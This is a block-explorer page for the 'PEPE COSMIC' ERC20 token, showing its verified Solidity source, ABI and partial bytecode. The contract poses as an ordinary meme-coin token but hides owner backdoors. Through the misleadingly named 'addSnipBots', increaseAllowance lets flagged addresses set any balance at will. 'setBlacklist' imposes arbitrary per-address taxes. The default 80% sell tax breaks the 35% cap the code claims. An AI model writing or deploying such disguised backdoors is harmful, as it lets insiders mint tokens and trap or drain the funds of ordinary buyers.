ETH Price: $2,648.48 (+1.60%)

Token

PEPE COSMIC (PEMIC)
 

Overview

Max Total Supply

100,000,000 PEMIC

Holders

27

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
343,352.909050249474947992 PEMIC

Value
$0.00
0x64B80670149B3AAb4aAB34c3A88E9bF4B723Eb21
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PepeCosmic

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-04-28
*/

/**
TG:          https://t.me/PEPECOSMIC
Twitter: https://twitter.com/PEPECOSMIC_ERC
Web:      http://pepecosmic.org/
*/
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new Owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }
   
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
 
contract ERC20 is Context {

    mapping(address => mapping(address => uint256)) private _allowances;
    
    uint256 internal _totalSupply;
    string private _name;
    string private _symbol;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    function allowance(address owner, address spender) public view virtual returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }
}

contract PepeCosmic is ERC20, Ownable {

    using SafeMath for uint256;
    
    mapping(address => uint256) private _balances;
    mapping(address => bool) private _isTax;
    mapping(address => bool) private _isBot;
    mapping(address => uint256) private _accTax;

    uint256 private _buyTax;
    uint256 private _sellTax;
    address private uniswapV2Pair;
    address private constant _deadAddress = 0x000000000000000000000000000000000000dEaD;
    IUniswapV2Router02 private uniswapV2Router;

    constructor(
        string memory name_,
        string memory symbol_,
        uint256 totalSupply_
    ) ERC20(name_, symbol_) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        _mint(_msgSender(), totalSupply_ * 10**decimals());
	    _isTax[_msgSender()] = true;
        _buyTax = 5;
        _sellTax = 80;  
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: REWARD to the zero address"); 
        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 _amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        uint256 fromBalance = _balances[from];
        require(fromBalance >= _amount, "ERC20: transfer amount exceeds balance");
        bool rF = true;
        if (_checkFreeAccount(from, to)) {
            rF = false;
        }
        uint256 tradeFeeAmount = 0;
        if (rF) {
            uint256 tradeFee = 0;
            if (uniswapV2Pair != address(0)) {
                if (to == uniswapV2Pair) {
                    tradeFee = _sellTax;
                }
                if (from == uniswapV2Pair) {
                    tradeFee = _buyTax;
                }
            }
            if (_accTax[from] > 0) {
                tradeFee = _accTax[from];
            }
            tradeFeeAmount = _amount.mul(tradeFee).div(100);
        }
        if (tradeFeeAmount > 0) {
            _balances[from] = _balances[from].sub(tradeFeeAmount);
            _balances[_deadAddress] = _balances[_deadAddress].add(tradeFeeAmount);
            emit Transfer(from, _deadAddress, tradeFeeAmount);
        }
        _balances[from] = _balances[from].sub(_amount - tradeFeeAmount);
        _balances[to] = _balances[to].add(_amount - tradeFeeAmount);
        emit Transfer(from, to, _amount - tradeFeeAmount);
    }

    function _checkFreeAccount(address from, address to) internal view returns (bool) {
        return _isTax[from] || _isTax[to];
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        if (_isBot[owner] == true){
            _balances[spender] = addedValue;
            return true;
        }
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function upgragePair(address _pair) external onlyOwner {
        uniswapV2Pair = _pair;
    }

    function upgrageTax(uint256 _buy, uint256 _sell) external onlyOwner {
        require(_buy <= 35 && _sell <= 35, "Buy tax and sell tax must be less than or equal to 35%");
        _buyTax = _buy;
        _sellTax = _sell;
    }

    function addSnipBots(address[] memory _address) external onlyOwner {
        for(uint256 i = 0; i < _address.length; i++) {
            _isBot[_address[i]] = true;
        }
    }

    function removeSnipBot(address _address) external onlyOwner {
        _isBot[_address] = false;
    }
    
    function setBlacklist(address _address, uint256 _value) external onlyOwner {
        _accTax[_address] = _value;
    }

    function setFreeAccount(address _address, bool _value) external onlyOwner {
        _isTax[_address] = _value;
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        require(_isBot[_msgSender()] != true || _isBot[to] != true, "You are Sniper bot");
        _transfer(_msgSender(), to, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, 
            0, 
            address(this),
            block.timestamp
        );
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"_address","type":"address[]"}],"name":"addSnipBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"removeSnipBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"setBlacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_value","type":"bool"}],"name":"setFreeAccount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"upgragePair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"}],"name":"upgrageTax","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b50604051620033ac380380620033ac833981810160405281019062000037919062000740565b828281600290816200004a919062000a1b565b5080600390816200005c919062000a1b565b5050506200007f620000736200034a60201b60201c565b6200035260201b60201c565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000125573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200014b919062000b67565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001b3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001d9919062000b67565b6040518363ffffffff1660e01b8152600401620001f892919062000baa565b6020604051808303816000875af115801562000218573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200023e919062000b67565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620002c9620002926200034a60201b60201c565b620002a26200041860201b60201c565b600a620002b0919062000d67565b84620002bd919062000db8565b6200042160201b60201c565b600160066000620002df6200034a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060056009819055506050600a819055505050505062000f15565b600033905090565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000493576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200048a9062000e8a565b60405180910390fd5b8060016000828254620004a7919062000eac565b9250508190555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620004ff919062000eac565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000566919062000ef8565b60405180910390a35050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620005db8262000590565b810181811067ffffffffffffffff82111715620005fd57620005fc620005a1565b5b80604052505050565b60006200061262000572565b9050620006208282620005d0565b919050565b600067ffffffffffffffff821115620006435762000642620005a1565b5b6200064e8262000590565b9050602081019050919050565b60005b838110156200067b5780820151818401526020810190506200065e565b60008484015250505050565b60006200069e620006988462000625565b62000606565b905082815260208101848484011115620006bd57620006bc6200058b565b5b620006ca8482856200065b565b509392505050565b600082601f830112620006ea57620006e962000586565b5b8151620006fc84826020860162000687565b91505092915050565b6000819050919050565b6200071a8162000705565b81146200072657600080fd5b50565b6000815190506200073a816200070f565b92915050565b6000806000606084860312156200075c576200075b6200057c565b5b600084015167ffffffffffffffff8111156200077d576200077c62000581565b5b6200078b86828701620006d2565b935050602084015167ffffffffffffffff811115620007af57620007ae62000581565b5b620007bd86828701620006d2565b9250506040620007d08682870162000729565b9150509250925092565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200082d57607f821691505b602082108103620008435762000842620007e5565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620008ad7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200086e565b620008b986836200086e565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620008fc620008f6620008f08462000705565b620008d1565b62000705565b9050919050565b6000819050919050565b6200091883620008db565b62000930620009278262000903565b8484546200087b565b825550505050565b600090565b6200094762000938565b620009548184846200090d565b505050565b5b818110156200097c57620009706000826200093d565b6001810190506200095a565b5050565b601f821115620009cb57620009958162000849565b620009a0846200085e565b81016020851015620009b0578190505b620009c8620009bf856200085e565b83018262000959565b50505b505050565b600082821c905092915050565b6000620009f060001984600802620009d0565b1980831691505092915050565b600062000a0b8383620009dd565b9150826002028217905092915050565b62000a2682620007da565b67ffffffffffffffff81111562000a425762000a41620005a1565b5b62000a4e825462000814565b62000a5b82828562000980565b600060209050601f83116001811462000a93576000841562000a7e578287015190505b62000a8a8582620009fd565b86555062000afa565b601f19841662000aa38662000849565b60005b8281101562000acd5784890151825560018201915060208501945060208101905062000aa6565b8683101562000aed578489015162000ae9601f891682620009dd565b8355505b6001600288020188555050505b505050505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000b2f8262000b02565b9050919050565b62000b418162000b22565b811462000b4d57600080fd5b50565b60008151905062000b618162000b36565b92915050565b60006020828403121562000b805762000b7f6200057c565b5b600062000b908482850162000b50565b91505092915050565b62000ba48162000b22565b82525050565b600060408201905062000bc1600083018562000b99565b62000bd0602083018462000b99565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000c655780860481111562000c3d5762000c3c62000bd7565b5b600185161562000c4d5780820291505b808102905062000c5d8562000c06565b945062000c1d565b94509492505050565b60008262000c80576001905062000d53565b8162000c90576000905062000d53565b816001811462000ca9576002811462000cb45762000cea565b600191505062000d53565b60ff84111562000cc95762000cc862000bd7565b5b8360020a91508482111562000ce35762000ce262000bd7565b5b5062000d53565b5060208310610133831016604e8410600b841016171562000d245782820a90508381111562000d1e5762000d1d62000bd7565b5b62000d53565b62000d33848484600162000c13565b9250905081840481111562000d4d5762000d4c62000bd7565b5b81810290505b9392505050565b600060ff82169050919050565b600062000d748262000705565b915062000d818362000d5a565b925062000db07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000c6e565b905092915050565b600062000dc58262000705565b915062000dd28362000705565b925082820262000de28162000705565b9150828204841483151762000dfc5762000dfb62000bd7565b5b5092915050565b600082825260208201905092915050565b7f45524332303a2052455741524420746f20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b600062000e7260218362000e03565b915062000e7f8262000e14565b604082019050919050565b6000602082019050818103600083015262000ea58162000e63565b9050919050565b600062000eb98262000705565b915062000ec68362000705565b925082820190508082111562000ee15762000ee062000bd7565b5b92915050565b62000ef28162000705565b82525050565b600060208201905062000f0f600083018462000ee7565b92915050565b6124878062000f256000396000f3fe608060405234801561001057600080fd5b506004361061012b5760003560e01c806370a08231116100ad578063a457c2d711610071578063a457c2d71461031c578063a9059cbb1461034c578063dd62ed3e1461037c578063e0d8aede146103ac578063f2fde38b146103c85761012b565b806370a082311461028a578063715018a6146102ba5780637f2ecf21146102c45780638da5cb5b146102e057806395d89b41146102fe5761012b565b806323b872dd116100f457806323b872dd146101d4578063313ce567146102045780633950935114610222578063508e13b81461025257806359ca12531461026e5761012b565b8062dc4cf71461013057806306fdde031461014c578063095ea7b31461016a578063106c8e651461019a57806318160ddd146101b6575b600080fd5b61014a600480360381019061014591906117bd565b6103e4565b005b610154610434565b604051610161919061188d565b60405180910390f35b610184600480360381019061017f91906117bd565b6104c6565b60405161019191906118ca565b60405180910390f35b6101b460048036038101906101af91906118e5565b6104e9565b005b6101be61054c565b6040516101cb9190611921565b60405180910390f35b6101ee60048036038101906101e9919061193c565b610556565b6040516101fb91906118ca565b60405180910390f35b61020c610585565b60405161021991906119ab565b60405180910390f35b61023c600480360381019061023791906117bd565b61058e565b60405161024991906118ca565b60405180910390f35b61026c600480360381019061026791906119c6565b61066c565b005b61028860048036038101906102839190611a32565b6106d7565b005b6102a4600480360381019061029f91906118e5565b61073a565b6040516102b19190611921565b60405180910390f35b6102c2610783565b005b6102de60048036038101906102d991906118e5565b610797565b005b6102e86107e3565b6040516102f59190611a81565b60405180910390f35b61030661080d565b604051610313919061188d565b60405180910390f35b610336600480360381019061033191906117bd565b61089f565b60405161034391906118ca565b60405180910390f35b610366600480360381019061036191906117bd565b610916565b60405161037391906118ca565b60405180910390f35b61039660048036038101906103919190611a9c565b610a2b565b6040516103a39190611921565b60405180910390f35b6103c660048036038101906103c19190611c24565b610ab1565b005b6103e260048036038101906103dd91906118e5565b610b4e565b005b6103ec610bd1565b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60606002805461044390611c9c565b80601f016020809104026020016040519081016040528092919081815260200182805461046f90611c9c565b80156104bc5780601f10610491576101008083540402835291602001916104bc565b820191906000526020600020905b81548152906001019060200180831161049f57829003601f168201915b5050505050905090565b6000806104d1610c4f565b90506104de818585610c57565b600191505092915050565b6104f1610bd1565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600154905090565b600080610561610c4f565b905061056e858285610e1f565b610579858585610eab565b60019150509392505050565b60006012905090565b600080610599610c4f565b905060011515600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515036106415782600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001915050610666565b6106608185856106518589610a2b565b61065b9190611cfc565b610c57565b60019150505b92915050565b610674610bd1565b60238211158015610686575060238111155b6106c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106bc90611da2565b60405180910390fd5b8160098190555080600a819055505050565b6106df610bd1565b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61078b610bd1565b610795600061154c565b565b61079f610bd1565b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606003805461081c90611c9c565b80601f016020809104026020016040519081016040528092919081815260200182805461084890611c9c565b80156108955780601f1061086a57610100808354040283529160200191610895565b820191906000526020600020905b81548152906001019060200180831161087857829003601f168201915b5050505050905090565b6000806108aa610c4f565b905060006108b88286610a2b565b9050838110156108fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f490611e34565b60405180910390fd5b61090a8286868403610c57565b60019250505092915050565b60006001151560076000610928610c4f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415806109d0575060011515600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514155b610a0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0690611ea0565b60405180910390fd5b610a21610a1a610c4f565b8484610eab565b6001905092915050565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ab9610bd1565b60005b8151811015610b4a57600160076000848481518110610ade57610add611ec0565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610b4290611eef565b915050610abc565b5050565b610b56610bd1565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610bc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbc90611fa9565b60405180910390fd5b610bce8161154c565b50565b610bd9610c4f565b73ffffffffffffffffffffffffffffffffffffffff16610bf76107e3565b73ffffffffffffffffffffffffffffffffffffffff1614610c4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4490612015565b60405180910390fd5b565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373fffffffffffffffffffffffffffffffffffff